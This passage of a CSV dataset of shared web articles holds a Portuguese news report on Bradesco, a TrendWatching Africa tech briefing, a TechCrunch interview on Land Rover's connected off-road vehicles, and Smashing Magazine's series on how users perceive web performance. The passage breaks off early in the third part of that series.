1468421442,CONTENT SHARED,-583471248660258378,2542290381109225938,-1443801607001810246,,,,HTML,http://www.infomoney.com.br/bradesco/noticia/5236581/zelotes-projeto-secreto-diretores-bradesco-respondem-duvidas-mercado,"De Zelotes ao ""projeto secreto de TI"": diretores do Bradesco respondem dúvidas do mercado","SÃO PAULO - Três analistas do banco Brasil Plural foram recebidos pelo alto escalão da administração do Bradesco (; ) para saber como andam os negócios da companhia após a aprovação da compra do HSBC Brasil, o cerco da Operação Zelotes e os avanços de um plano ainda sob sigilo que busca o aprimoramento de serviços tecnológicos oferecidos a clientes. O encontro resultou em um relatório enviado a clientes em que foi reiterada percepção otimista para as ações do banco. Os especialistas Eduardo Nishio, Marcelo Atallah e Vinicius Ribeiro estabelecem como preço-alvo para os papéis preferenciais a cifra de R$ 27,40, o que corresponde a uma alta de 2,20%, levando-se em consideração o fechamento do último dia 11 de julho (R$ 26,81). A seguir, algumas considerações postas pelo trio de analistas após encontro com o vice-presidente executivo Domingos Abreu, o diretor vice-presidente Maurício Minas, o diretor de relações com investidores Luiz Carlos Angelotti e o presidente do Bradesco Seguros Randal Zanetti: Qual é o próximo passo com a estratégia de TI do Bradesco? É nesse setor que os analistas do Brasil Plural observam maior potencial futuro para o banco avançar sobre os concorrentes, embora maiores detalhes ainda sejam mantidos sob segredo e inspirem paciência no momento. ""Os projetos são interessantes e promissores, mas, sem detalhes concretos, a ambição de TI do Bradesco é tão indefinível quanto potencialmente perturbador -- pelo menos nesse momento até que mais seja revelado"", escreveram em relatório a clientes. O que é possível saber no momento é que o lançamento do primeiro aplicativo, previsto para ainda este ano, tem por objetivo conectar clientes, projetos e dados de estilo de vida a transações financeiras, produtos e serviços. ""Estamos esperando para ver como esse aplicativo se apresenta antes de declarar o Bradesco como líder da corrida digital, particularmente em um setor competitivo em que os copyrights/patentes não se aplicam, e onde copiar e aplicar práticas é comum"", observaram. Em entrevista recente ao Broadcast , o vice-presidente do banco, Maurício Minas, disse que o Bradesco está investindo em uma plataforma totalmente digital, e, em paralelo, acelera a digitalização de sua base física. Também sem dar muitos detalhes, o executivo adiantou que o modelo digital levará em conta a ""jornada dos clientes"", o que se entende por hábitos de consumo, preferências e comportamento. Outra novidade é a abertura de contas totalmente digitais, possibilitada por recente resolução do CMN (Conselho Monetário Nacional). Quais são os riscos representados pela Operação Zelotes? Algumas horas antes do anúncio da Polícia Federal acerca do envolvimento do alto escalão do Bradesco nas investigações da Zelotes, os analistas contam que puderam conversar com dois dos três nomes apontados. ""Não somos advogados, mas nossa primeira leitura sobre a matéria é que os argumentos da administração são fortes, o que parece bem sustentado depois que o banco perdeu seu recurso em caso no Carf (Conselho Administrativo de Recursos Fiscais), indicando que provavelmente nenhum serviço ou acordo foi feito com partes que poderiam influenciar o resultado"", escreveram. Para os analistas, não são esperados eventuais encargos para o banco pela operação, apenas para os três citados. O que se espera da compra do HSBC Brasil em termos de resultados? Os analistas acreditam que a decisão de o Cade (Conselho Administrativo de Defesa Econômica), de aprovar com restrições brandas no início do mês a aquisição feita pelo Bradesco, não trouxe grandes novidades, uma vez que mesmo as restrições práticas para a compra do Citibank Brasil não frustraram grandes expectativas. ""A administração sinalizou lucros de aproximadamente R$ 1 bilhão recorrentes sem sinergias custo/receita para o HSBC Brasil neste ano"", destacaram, no que pode indicar um bom negócio. O que há de novo na estratégia para o setor de seguros? A primeira fase da restruturação da distribuição dos canais de seguro, que permitiu que o Bradesco apresentasse crescimento mais acelerado do que seus concorrentes, está concluída. ""A segunda fase está prevista para ser concluída em 2018, e tem como objetivo aumentar a oferta de produtos complementares, ampliando a retenção e conquista de clientes a partir do uso de análises e inteligência de negócios"", observaram os analistas do Brasil Plural. No setor automotivo, o desempenho vai depender de mudanças estruturais para estimular crescimento adicional, bem como no de pensões, que tem no radar uma agenda de reformas e ampliação da educação financeira. No setor de saúde, os crescimentos de dois dígitos são vistos como insustentáveis, ao passo que nos seguros de vida o banco tem aprendido a vender produtos, embora não sejam destaques em suas prateleiras. Como tendem a se comportar os spreads? O alto escalão do Bradesco vislumbra pouco espaço para elevar os spreads. ""Os spreads consolidados devem crescer marginalmente, principalmente no efeito da reprecificação da velha carteira sendo substituída por novos empréstimos com spreads mais elevados"", escreveram os analistas do banco. Segue o jogo na Cielo A despeito do que se chegou a especular algumas semanas atrás, Rômulo de Mello deve continuar CEO (Chief Executive Officer) da Cielo (). O alto escalão da administração do Bradesco está satisfeita com sua gestão e o conselho renovou contrato por mais dois anos.",pt
1468423086,CONTENT SHARED,-4412848927260591416,3609194402293569455,-9212055154240885024,,,,HTML,http://trendwatching.com/trends/better-tech/,New Africa Trend Briefing from TrendWatching | BETTER TECH,"Globally, technology has become ubiquitous, universal and impossible to live without. Why? Quite simply because many consumers continue to crave (and build their lives around) the unparalleled superpowers that technology offers them. But, as we discussed when we first touched on BETTER TECH back in 2015, the tech stakes are often even higher than that. While more developed economies race towards a superconnected, augmented and hyperpersonalized reality, in Africa new (or newly-arriving) technologies are often just beginning to address some of the issues that continue to haunt the continent . Many African consumers are looking for technology that can empower them and offer better access to healthcare and education, to vital knowledge and skills, new connections, and more.",en
1468427073,CONTENT SHARED,7469361608711738006,1120069409160402054,-9127169544395879651,,,,HTML,https://techcrunch.com/2016/07/13/land-rovers-lead-engineer-explains-autonomous-off-road-driving/,Land Rover's lead engineer explains autonomous off-road driving,"When you're Land Rover, you can't just test connected and autonomous vehicles on regular roads. You have to live up to your rugged, but polished brand, simultaneously. That's precisely why the automaker is testing off-road connected convoy research vehicles. It's all a part of the company's ambitious plan to create a fleet of 100-plus research vehicles over the next four years. The goal is to eventually getting to the point where full autonomous off-roading is the new norm, through continuous testing of its connected and autonomous vehicle (CAV) technologies. To prepare for that day, Land Rover published the video below on Wednesday, showing two off-road connected convoy research vehicles communicating with each other. I spoke with Land Rover's lead engineer for the project, Matt Reed, who explained how the connected vehicles communicated via Dedicated Short Range Communications (DSRC) boxes installed in each SUV to successfully off-road. ""Currently, what we've got is two DSRC boxes from a company called Cohda Wireless and they use their software put into the car by their vehicle CAN Bus [network],"" Reed explained. ""The CAN Bus is a vehicle-level network, which all current OEMs [Original Equipment Manufacturers] have, which contains lots of the driving data. You'll have everything from ignition the car is in to things like the vehicle speed, the direction of travel, the GPS location, all of that information, which is used by the vehicle's internal module to do everything from cruise control to turning your lights on and off."" ""These boxes are connected to that network and we fix the signals that we want to look at, such as vehicle articulation, vehicle speeds and location, and then using that network, we pick off the information, which could be transmitted to a second car,"" he continued. ""The transmission is through those boxes and it's using a 5.9 GHz DSRC."" Land Rover also leaned on the company's Terrain Response settings to adjust to whatever uneven off-road surface the connected vehicles encountered during this experiment. Although there was a professional driver in this test, as the technology improves and full autonomy is achieved, Reed says a lead car would be able to off-road across tricky terrain, with a second car without any input following that exact route. Reed adds that with time there's also potential to integrate mobile phone communications to the vehicle-to-vehicle data sharing. ""So, for certain applications, you could have one car using a cell phone to connect to another car, which then DSRC connects to it,"" he added. While that might be getting ahead of Land Rover's plan, the next step is to continue to beef up its fleet of research vehicles to further test its CAV technologies. Just imagine the day when self-driving vehicles are off-roading in abundance.",en
1468433976,CONTENT SHARED,2633209697262372913,-4125205337625989832,3171707722573027152,,,,HTML,https://www.smashingmagazine.com/2015/09/why-performance-matters-the-perception-of-time/,"Why Performance Matters, Part 1: The Perception Of Time - Smashing Magazine","Those of us who consider ourselves developers, including me, are very task-oriented. We like to be guided towards optimal results , and we find ourselves uncomfortable when there is no clear path to follow. That is why we all want to know how to do things; we like step-by-step tutorials and how-tos. However, such guidelines are based on certain theories, deep knowledge and experience. Further reading on Smashing: Link For this reason, I will not provide you, the reader, with a structured answer to the question of how to make a website faster. Instead, I aim to provide you with the reasons and theories for why things function in certain way . I will use examples that are observable in the offline world and, using principles of psychology, research and analysis in psychophysics and neuroscience, I will try to answer some ""Why?"" questions, like: Why do time and performance matter? Why don't we like to wait? Why does faster not always mean better in the online world? 8 ""Alice: How long is forever? White Rabbit: Sometimes, just one second."" - Lewis Carroll. ""Alice's Adventures in Wonderland."" In addition to these, we will cover psychological aspects of some practical cases, like performance optimization of an existing project, how to deal with the better performance of a competitor's website and how to make users barely notice any waiting for your services. Hopefully, after understanding these ""Why?"" basics, you will be ready to look outside of some structured ""box"" the next time you are involved in an optimization process and will make your very own conscious path towards an optimal result. Basic Concepts Link ""Well, I never heard it before, but it sounds uncommon nonsense,"" says the Mock Turtle in Alice's Adventures in Wonderland . So, first things first. Let us settle on basic terminology and principles. In the following paragraphs, I will define the main concepts that you will find throughout the article. Time can be analyzed from two different points: objective and psychological. When we talk about time that can be measured with a stopwatch, we're talking about objective time or clock time . Objective time, though, is usually different from how users perceive time while waiting for or interacting with a website, app, etc. When we talk about the user's perception of time, we mean psychological time or brain time . This time is of an interest to psychologists, neuroscientists and odd individuals like me. Performance optimization is a process of improving the delivery speed of services, feedback or any other type of response action in order to meet a user's expectation. We will call the form of communication that occurs when users have to wait for a response from a system a human-to-computer style. On the other hand, when a system barely has any delay in response, we will call that a human-to-human style, similar to the regular conversations we have in real life. A performance budget , as Tim Kadlec defines it , ""is just what it sounds like: you set a budget on your page and do not allow the page to exceed that."" For the purpose of this article, we will consider the performance budget to be directly connected to time - for example, loading a page, responding to a user's input, etc. Armed with these definitions, let's go down the rabbit hole. Part 1: Objective Time Link Now, here, you see, it takes all the running you can do, to keep in the same place. If you want to get somewhere else, you must run at least twice as fast as that! The Red Queen in Lewis Carroll's Through the Looking-Glass As we defined it earlier, objective time is time that can be measured with a clock. In this first article in our series, we will discuss how to use this time more efficiently for our projects. ""Remember That Time Is Money"" Link This phrase, credited to Benjamin Franklin in his Advice to a Young Tradesman , still proves true in our contemporary world. According to a recent study , it takes only 3 seconds for a visitor to abandon a website. For every 1 second of improvement, Walmart experienced an increase in conversions of up to a 2% on its website. When auto-parts retailer AutoAnything cut loading times in half, it experienced a 13% increase in sales. Users value their time, and a human-to-human style of communication is increasingly expected. New ways of communication require a new way of thinking in the design and development of online systems. In the web industry, we have been talking about speed and performance for quite a while. We've been emphasizing the importance of fast communication, and we're always trying to reach certain goals in seconds, kilobytes, frames per second and so on. As a result, we know how to make our websites fast using technology. Furthermore, we keep getting advice from leading developers and companies about preferred times in user-to-website interactions. In November 2014, Dimitri Glazkov, Jochen Eisinger and Chris Harrelson, in their "" State of Blink "" keynote about the Blink rendering engine, suggested a platform success model based on interaction times. 20 Platform success model from Google 21 ( View large version 22 ) After quite a few years of the ""2-second loading time"" recommendation, the platform success model technically sets the limit on page-loading time to 1 second. Usually, the average developer or project manager is satisfied with an explanation like, ""Longer times affect rankings in search results."" But what recommendations are these explanations based on? How much freedom do we have in setting certain time-based goals or a performance budget? And, what is even more interesting than simple numbers, can we be creative with these durations, playing with them to deliver better experiences to our users? These are the main questions we will cover in this article. Choosing A Performance Budget Link As defined earlier, a performance budget is a limit that we set on certain time-related operations of an online system and that we do not allow the system to exceed. Usually, human-to-human conversations involve quite short time intervals between a question being asked and a response being given by the interlocutor. In psychology, we should keep four important spans of time in mind when dealing with short time durations: 0.1 to 0.2 seconds Research points to this interval as the range of the maximum acceptable response time to simulate instantaneous behavior - an interval within which users barely, if at all, notice a delay. 0.5 to 1 seconds This is the maximum response time for immediate behavior. This interval is usually the response time from an interlocutor in a human-to-human conversation. Delays within this interval are noticeable but easily tolerated by most users. During this time, the user must receive an indication that their command (such as their click of a button or link) has been accepted, assuming that the signal was not already sent during the previous interval. 2 to 5 seconds Psychologist Mihaly Csikszentmihalyi defines a flow or optimal experience as a state when people experience concentration, absolute absorption in an activity and deep enjoyment. 5 to 10 seconds According to the National Center for Biotechnology Information at the US National Library of Medicine , the average attention span of a human being dropped from 12 seconds in 2000 to 8.25 seconds in 2015. Guess what? That is 1 second less than the attention span of a goldfish! As a simplification - and to emphasize our superiority to the goldfish - we consider 10 seconds as the absolute maximum time of a user's attention span . The user would still be focused on their task but would become easily distracted. This is the time for the system to engage the user in the process; if this is not done, then the user will most probably be lost forever. Now, if we apply these time definitions to the aforementioned platform success model suggested by the Blink team, we can translate its emphasis on a 1-second loading time and a 0.1-second response time into more human-to-human language: The loading page should happen immediately . Users should get feedback from a given action instantly . 34 Load pages immediately , and give feedback on a given action instantly . ( View large version 35 ) Humans have inner stopwatches that have been tuned well since our cave-dwelling ancestors. Hence, you can safely rely on the time spans above when choosing a performance budget for your next web project. But time on its own is useless unless put into some context. Consider an example. What do you think about in response to the statement, ""A process will take 10 seconds to complete."" Take your time. Done? I'll bet the first thing you thought was, ""What process?"" Your brain iterated over possible options based on your life experience, current lines of thinking, mood and so on. Then, once your brain settled on a dominant guess, it evaluated your expectations about that process' duration against the declared 10 seconds. That being said, most often we don't pick a random time duration on its own, but rather choose time in a certain context. First, the context could be set by our own constraints, such as a need for performance optimization in order to meet users' expectation of a human-to-human style of communication. Secondly, the context might also be set by competitors; in this case, we're dealing with a chase-the-leader scenario to reach the performance level set by others. We will look at both scenarios below. The Need for Performance Optimization: The 20% Rule Link Here is a situation that most of us can relate to to some extent. Your customer says that the search function of your website is slow. Your measurements show an average of 5 seconds to render search results. After employing some optimization techniques, you bring it down to 4.5 seconds. Happily (well, as happily as one could possibly be with a 4.5-second rendering time), you send an email to the customer with this information. All you get in return is, ""Doesn't look any faster to me."" That usually hurts. Let's try to understand why the customer did not notice any difference. In 1834, one of the founders of experimental psychology, Ernst Heinrich Weber , postulated a law that defines difference threshold or a just noticeable difference (JND) as the minimum difference in stimulation (weight, light, etc.) that a person can detect most of the time. Later, Weber's student Gustav Theodor Fechner applied the law to the measurement of sensations, setting the basis for the science of psychophysics . This work by Weber and Fechner is known to us as the Weber-Fechner Law . The law is still regarded by many scientists as arguably the most important tool in understanding perception. Time is not an exception to the Weber-Fechner Law. Practical experiments in psychophysics show that time intervals are prone to a JND of between 7% to 18% on average for shorter periods (with a duration of less than 30 seconds). Based on this, a good rule of thumb is to simplify the Weber-Fechner Law into a 20% rule . That is, in order for users to barely see a difference in time duration, it has to be changed by a minimum of 20%. The Weber-Fechner Law can be simplified into a 20% rule for short time durations. Let's go back to our example of a client noticing no difference in the rendering of search results after our optimizations. Originally, the search results were returned in 5 seconds. Using the 20% rule, we can tell that, for the user to even notice the difference, the new search results should be at least 1 second faster: That is why the client simply did not notice the 0.5-second improvement. We're talking about performance optimization, but this technique works in the opposite direction. If, for example, you are developing a feature that slows down your web page, you could apply the 20% rule to determine whether the performance decrease will be noticed by users at all. Allowing our code to be a bit slower without harming the user experience is called regression allowance . Note: When we talk about 20%, we are talking about a ""just noticeable"" difference. "" Noticeable "" does not mean "" meaningful ."" In order for users to appreciate your performance optimization, you should go well beyond this threshold. But what do you do when a competitor comes to market with significantly better performance for a comparable feature? What if a 20% regression allowance relative to the competitor's time is not even technically approachable for us? In this case, we should at least aim for what G. Moore, in his book Dealing with Darwin , calls neutralization . Neutralization, Or Chasing The Leader Link Time neutralization occurs when the time difference between two services is noticeable but does not influence the user's preference of one service over another. In this case, reliability, usability and other quality -related factors of the service play a much more significant role. In other words, time neutralization is a good position to be in when you have better services than competitors. Again, getting back to our example of search results taking 5 seconds to appear, assume that a competitor comes to the market with a very similar search service: the same functionality, the same results and the same feel. The problem is that their search results are revealed in 2 seconds, not 5. Applying the 20% rule to our 5 seconds would not make sense in this scenario. We're not competing with our own time; rather, we have to match the competitor's. We can make a couple of logical assumptions here: We cannot decrease the search response time to 2 seconds. (If it were that easy, we probably would have done it already.) If 2 seconds is out of reach, the next best solution would be to use the 20% rule of regression allowance relative to the competitor's time: 2 seconds + 20% = 2.4 seconds. At 2.4 seconds, users will not notice any difference between our search results and the competitor's. But if we cannot achieve 2 seconds, then 2.4 seconds is probably also out of reach. When comparing two durations (2 and 5 seconds, in our case), we'll find a ""magical"" psychological threshold between them. Time durations longer than this threshold will be perceived by the user as being closer to 5 seconds. Time durations shorter than that threshold will be perceived as being closer to 2 seconds. Surprisingly, studies in animal timing , particularly those conducted by R. Church, M. MacInnis, P. Guilhardi and others at Brown University, show that this threshold is not simply the average of the two durations. This threshold proved to be predictable and is found at the geometric mean , instead of an arithmetical one. Research with human subjects confirm the same finding. From mathematics, we might remember that the geometric bisection between two numbers can be found using the following formula: Applying this formula to our numbers, we get: For our 2- and 5-second results, 3.2 seconds is the threshold of neutralization. At this point, users will notice a difference, but the difference will be perceived as being unimportant to their choice of service. Factors such as the quality of the service and reliability will play a much more important role, but managing these is beyond the scope of this article. With this, we finish our basic analysis of objective time. By now, we should have a good understanding of where some widely adopted industry standards , such as page-loading time and the response time for a system, come from. We also have a guideline for setting a performance budget , and we understand how to deal with time when we have to improve the performance of a website or match that of a competitor's . But as we have mentioned earlier, another kind of time usually matters much more to users than the kind measured with a stopwatch. Ladies and gentlemen, let's meet in part 2 and talk about the psychological time. 55 Endnotes Link 1 This is the reaction time of the average person to a simple stimulus, such as catching a falling pen or jerking one's hand away from a hot cup. This is probably the most important time we should keep in mind. 2 According to G.A. Miller, most adults can store five to nine simple items in their short-term memory . Research - confirmed by a number of experiments, in particular the one by M. Greene and A. Oliva of MIT - shows that ""the processing of complex natural images and visual object recognition"" takes no more than a tenth of a second. This means that short-term memory processing of five to nine items such as this should take about 0.5 to 0.9 seconds. Hence, 1 second is considered to be the maximum time for the user's flow of thought to stay uninterrupted. 3 While optimal experience time fluctuates according to subjective parameters, for most tasks that the average user faces on the web, the time of concentration falls between 2 to 5 seconds. This is why, for some years, we operated with 2 seconds as the optimal page-loading time. 4 Of course, the state of focused attention in general spans far beyond 10 seconds and can reach 20 to 30 minutes. (This long-term attention is called ""selective sustained attention."") However, first, this time span is much more exposed to fluctuation due to different uncontrolled circumstances; secondly, not many website owners out there can brag about their website being actively used by the average user for more than a couple of minutes. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #endnote1 28 #endnote2 29 30 #endnote3 31 32 #endnote4 33 #success-model 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 #success-model 52 #performance-budget 53 #20-percent 54 #neutralization 55 56 57 58 59 ↑ Back to top Tweet it Share on Facebook",en
1468434011,CONTENT SHARED,4068119742428755460,-4125205337625989832,3171707722573027152,,,,HTML,https://www.smashingmagazine.com/2015/11/why-performance-matters-part-2-perception-management/,"Why Performance Matters, Part 2: Perception Management - Smashing Magazine","Time can be analyzed from two different points: objective and psychological. When we talk about time that can be measured with a stopwatch, we're talking about objective time , or clock time . Objective time, though, is usually different from how users perceive time while waiting for or interacting with a website or app. Further readings on Smashing: Link In part 1 , we talked about objective time and some techniques for managing it. We reviewed the ideas behind several widely adopted industry standards, such as page-loading time and system response time. We also got a guideline for setting a performance budget , and we came to understand how to deal with time when we have to improve the performance of a website or match that of a competitor's . However, objective time is defined by technical means whereas every such mean has its limits like financial, technical limits or implementation time that become insuperable at some point. 11 In addition to technical limits, the absolute values of objective time, even though an indispensable part of what we call ""performance,"" have one issue: The values do not constitute a ""performant"" website on their own. To prove the point, below are the absolute time values for a couple of websites. (To keep the intrigue, their names are hidden for now.) 13 The absolute time values for these two websites aren't impressive at all. See the results for yourself for the first 14 and second website 15 . ( View large version 16 ) A loading time of 12.436 seconds? Visual completion in 12.2 seconds? The numbers don't look impressive at all, do they? Considering these numbers alone, we might conclude that the performance of these websites is in desperate need of improvement. But would you believe that these very websites brought almost $89 and $19 billion in revenue in 2014, respectively? How can that be? Don't worry. Just type amazon.com or ebay.com in your browser's address bar (yes, these time values were measured for these very websites) and watch them being rendered much faster than you would have otherwise guessed from looking at the figures above. We will review how to achieve this a bit later. Performance is never about milliseconds, kilobytes or number of requests; it is not about mathematics . Performance is all about perception and psychology. In this part, we will get a different perspective on performance: What is psychological time? How do users perceive time? How can we manage and influence this perception? Psychological Time: Perception Management Imagination is the only weapon in the war against reality. - Cheshire Cat in Lewis Carroll's ""Alice's Adventures in Wonderland"" The way our brain perceives time might be and usually is different from the time that we measure with a stopwatch. The perception and value of time fluctuate according to many factors, including level of anxiety, age, time of day and even cultural background. The time perceived by our brain is called psychological time . To understand how we perceive time, we need to review some of its essential properties. In 1927, German philosopher Martin Heidegger wrote in his book Being and Time that, ""Time persists merely as a consequence of the events taking place in [space]."" According to Heidegger, time is finite, has a start and end and consists of myriad of events with their own starts and ends, which constitute what we call ""time"". Let's picture a simple event: We will call the beginning of an event the start event marker or, simply, start marker. The moment when the event is finished will be, accordingly, the end event marker , or end marker. In addition to the finite nature of time, almost any event can be expressed by two different phases: active and passive. The active phase , or active wait , is characterized by the user's mental activity. This could be some physical activity or a pure thinking process, like solving a puzzle or finding a way on a map. The period in which the user has no choice or control over the waiting time, such as standing in line or waiting for a loved one who is late for the date, is called a passive phase , or passive wait . People tend to estimate passive waiting as a longer period of time than active, even if the time intervals are objectively equal. A study by Jacob Hornik , followed by extensive research by Richard Larson , whose nickname at MIT is Dr. Queue, shows that, on average, people in passive wait mode overestimate their waiting time by about 36%. So, the two main principles of time that will guide us further in the article are these: Every event has start and end event markers. Almost every event has active and passive phases. It will come as no surprise to hear that, in general, we don't like to wait, except in some edge cases. But when we talk about waiting too long, what we really mean is just the passive phase of the wait; in most cases, the active phase is not considered a wait at all, due to the mental activity exerted. Hence, to manage psychological time and make the brain perceive an event as lasting for less time than it really does, we should reduce the passive phase of the event as much as possible, usually by increasing the active phase of the event. There are multiple techniques to achieve this, but most boil down to two simple practices: preemptive start and early completion . Let's review both of these. Preemptive Start The technique of the preemptive start is the process of opening your event with the active phase and holding it for as long as possible before switching the user to a passive wait. All of this is done without affecting the duration of the original event. As mentioned, most people do not consider the active wait to be waiting at all; hence, to the user's brain, a preemptive start means virtually shifting the start event marker closer to the end (to when the active phase is over), which will help the user perceive the event as being shorter. The active phase in the beginning could be of a different nature and can be achieved by some trickery. For now, we will call it magic; your users don't need to know about. Let's visualize this process and get to some examples. In 2009, the management team at an airport in Houston, Texas, faced an unusual type of complaint . Passengers were not satisfied with the long waits to claim their baggage upon arrival. In response, executives at the airport increased the number of baggage handlers. This decreased the waiting time to eight minutes, which is a very good result compared to other airports in the US . Surprisingly, this did not drop the number of complaints. The executives researched the problem and figured out that, indeed, the first bags took about eight minutes to show up on the baggage carousel. However, passengers took only one minute to reach the carousel. So, on average, passengers would wait seven minutes before the first bags appeared. Speaking in psychological terms, the active phase was only one minute, while the passive wait was seven minutes. Using their knowledge of perception management, executives came up with a nontrivial solution. They moved arrival gates further away from the main terminal and routed bags to the furthest carousel. This increased walking time for passengers to six minutes, leaving only two minutes for the passive wait. In spite of the longer walk, complaints dropped to nearly zero. Baggage handling at the Houston airport (as pretty much at any airport) can be viewed as an example of the preemptive start technique. From a psychological point of view, starting the handling process as early as possible, while passengers are experiencing the active phase of the wait, ""moves"" the start event marker for passengers from the real start (when they leave the aircraft and baggage handling begins) to a new point on the timeline. This is what we call the preemptive start: starting work before the user realizes it. To deal with complaints, the Houston team was left with the only option of increasing the active phase of the wait (making passengers walk for longer), while reducing the passive wait (standing by the carousel). And it worked without changing the objective time of the baggage handling. Another example of this technique can be found in mobile Safari on iOS. As you type a URL, the browser suggests pages for you, drawing from pages you have been to or top results from a search engine. There is a special link in that list called ""Top Hit."" Not many people realize that, as Safari suggests this top hit, it starts preloading the page in the background, so that it can be delivered as quickly as possible once you select it. You can enable and disable this preloading behavior by going to ""Settings"" → ""Safari"" → ""Preload Top Hits."" The same is true when you open a link in a new tab: mobile Safari animates the tab turning as it preloads the page in the background, so that the page can be delivered almost instantly. We can use the same technique on the web - in a search function, for example. Let's assume that a search field appears on all pages, but the search results page itself requires some heavy duty functionality (sorting, filtering, maybe some additional modules from a server). Instead of loading this functionality for all pages, where it might not be needed, we could load it only for the search results page; however, this might slow down the loading of the results page unnecessarily. Instead, we could start preloading the required functionality once the user starts typing in the search field; this anticipates that the results will be the next page that the user sees. This way, the functionality will probably be delivered to the browser by the time the user arrives on the search results. You can also use this technique to start prefetching resources on a landing page for the shopping cart page, or in the first checkout step prefetch scripts that will be used in the second checkout step, so the transition between these pages will be almost immediate . To optimize performance in the browser, a group of industry experts , led by Google's web performance engineer Ilya Grigorik , are working on a W3C specification named "" Resource Hints ."" The specification will eventually cover technical solutions for browsers to natively support the preemptive start technique. As Ilya writes in his book High-Performance Browser Networking , we will be able to ""embed additional hints into the document itself to tip off the browser about additional optimizations it can perform on our behalf."" All of these hints should be placed in the document's <head> element to enable preloading of resources as soon as possible. Let's briefly review the hints: dns-prefetch This is useful for pre-resolving domain names that are found lower down on the page. It can also be used to pre-resolve domain names behind redirects. For example: <link rel=""dns-prefetch"" href=""//name-to-resolve.com""> preconnect This hint is used not only to pre-resolve a domain name, but to initiate a full connection handshake. The optional crossorigin attribute is used to configure the CORS requests ; check the comment by Ilya Grigorik for a better explanation. For example: <link rel=""preconnect"" href=""//cdn.example.com"" crossorigin> prefetch This hint has the lowest priority and is used to prefetch assets or resources required for future navigation. The optional as attribute is used to optimize the fetching process for the specified type of content. For example: <link rel=""prefetch"" href=""/library.js"" as=""script""> prerender This enables background pre-rendering of an entire page, with all of its assets. This might be useful for when a user is navigating a website, to instantly return a page once they need it. However, because yet another page has to be loaded, use it with caution. For example: <link rel=""prerender"" href=""//example.com/next-page.html""> For more details and to see the eventual optional arguments for these hints, read the working draft of the specification . To better understand the thinking behind these hints and for more examples of their usage and support, make sure to check out Ilya Grigorik's slides "" Preconnect, Prefetch, Prerender "" or the article "" Prefetching, Preloading, Prebrowsing "" by Robin Rendle on CSS-Tricks. Furthermore, the "" Preload "" specification joins the family of resource hints in the W3C ""Editor's Draft."" It defines the preload hint, which is almost the same as the prefetch hint mentioned earlier: However, there is one essential difference between the two: Whereas prefetch has the lowest possible priority and is intended for resources that the user will need as they navigate, preload is meant for critical resources that should be fetched with the highest possible priority. Also, note that preload supersedes the subresource hint that you might encounter in other articles. Returning to the preemptive start technique, we could summarize this as follows: We open the event with the active phase and keep the user in this phase for as long as possible before switching to the boring passive phase of the event. Early Completion Similar to how we can move the start marker in the preemptive start technique, early completion moves the end marker closer to the start, giving the user the feeling that the process is ending quickly. In this case, we would open the event with the passive phase but switch the user to the active phase as quickly as we can. The most familiar use of this technique on the web would be on video-streaming services. When you click the play button on a video, you aren't waiting for the whole video to download. Playback starts when the first minimally required chunk of video is available . Thus, the end marker is moved closer to the start, and the user is provided with an active wait (watching the downloaded chunk), while the rest of the video downloads in the background. Easy and effective. We can apply the same technique when dealing with page-loading time. In the interval between when a page is requested and gets rendered in the browser, the user is waiting, with no control over the process and no option other than to close the tab. This tells us we are dealing with a passive wait - and people hate the passive wait. So, we should alter it somehow. One acceptable solution would be to start rendering the page once essential pieces, such as the DOM, are ready to be shown. We don't need to wait for every asset to download if it won't affect rendering . We don't even need all of the HTML elements; we can inject those that are not immediately visible, such as the footer , later with JavaScript. Now we can recall our Amazon and eBay examples. Let's look at the rendering process of Amazon using a film strip: Here, we can see that, in spite of being visually complete in a minimum of 7 seconds, the Amazon page moves the user into an active wait in as soon as 1.1 seconds by starting the rendering process for the top (i.e. visible) part of the website once essential assets for that part have downloaded. The suggestion to prioritize visible content that we see in Google's PageSpeed Insights and similar optimization tools has to do exactly with this early completion. Give users something as soon as possible; make them think that the page is loading faster than it actually is by splitting the load into a short passive wait at the beginning and then an active wait once the initial information has been loaded and rendered. In anticipation of this, it is very useful to control such parameters as ""Start render"" in tools like WebPageTest , which give an idea of how fast a website is to the user's perception. Perception management that employs active and passive phases is very effective and does not necessarily require expensive or labour-intensive solutions. It works great in most cases using the most powerful tool at our disposal: the human brain. Conclusion... For Now Link As web developers, we should aim to deliver fast and reliable web services to make users feel comfortable. We can use technological means to control the objective performance of a website . However, as we've seen, the absolute values of time, while an important aspect of performance, are not the only factors in a performant product. The user's brain decides whether a website is fast enough given current circumstances such as their mood, their line of thought and maybe even the time of day. Technology and resources eventually hit a limit, at which point it becomes difficult to change objective performance. Then, we have to aim to exploit what psychology and neuroscience tell us. To summarize our discussion in the two articles in this series and to give you some strategies to deliver faster projects, below is a list of the theories and tools at our disposal: 61 From this article: "" Preemptive Start "" Keep the user in the active phase as long as possible before switching to the passive wait. "" Early completion "" Give the user something to work with by switching from a passive to active wait as soon as possible. You could employ some or all of these techniques in your job. Still, the attentive reader might feel that this list is not comprehensive; there are still questions to answer. What do we do when the technical means reach their limit yet the event is a purely passive wait, with no active phase at all? Also, is there such thing as a product that is ""too fast""? Ladies and gentlemen, let's meet in part 3 to find the answers. 69 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #comment-1284958 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 #perception-management 67 #preemptive-start 68 #early-completion 69 ↑ Back to top Tweet it Share on Facebook",en
1468434045,CONTENT SHARED,-6504694273023533189,-4125205337625989832,3171707722573027152,,,,HTML,https://www.smashingmagazine.com/2015/12/performance-matters-part-3-tolerance-management/,"Why Performance Matters, Part 3: Tolerance Management - Smashing Magazine","When technical performance optimizations reach certain limits, psychology and perception management might help us to push the limits further. Waiting can consist of active and passive phases ; for the user to perceive a wait as a shorter one, we increase the active phase and reduce the passive phase of the wait. But what do we do when the event is a purely passive wait, with no active phase at all? Can we push the limits even further? Further reading on Smashing: Link Waits without an active phase happen quite often in the offline world: waiting in a checkout line to the till, waiting for a bus, queuing in an amusement park, and so on. It is widely accepted that the longer the user has to wait, the more negative the reaction to the wait. User reaction to a wait online is no different from that in the offline world . Studies based on the analysis of more than a thousand cases identify 14 distinct types of waiting situations on the web . Being dependent on our users' loyalty, we cannot leave them facing a passive wait. This three-part series explores the perception of time that has also an effect on observed performance. The first part explored objective time and some techniques for managing it. We reviewed the ideas behind several widely adopted industry standards, such as page-loading 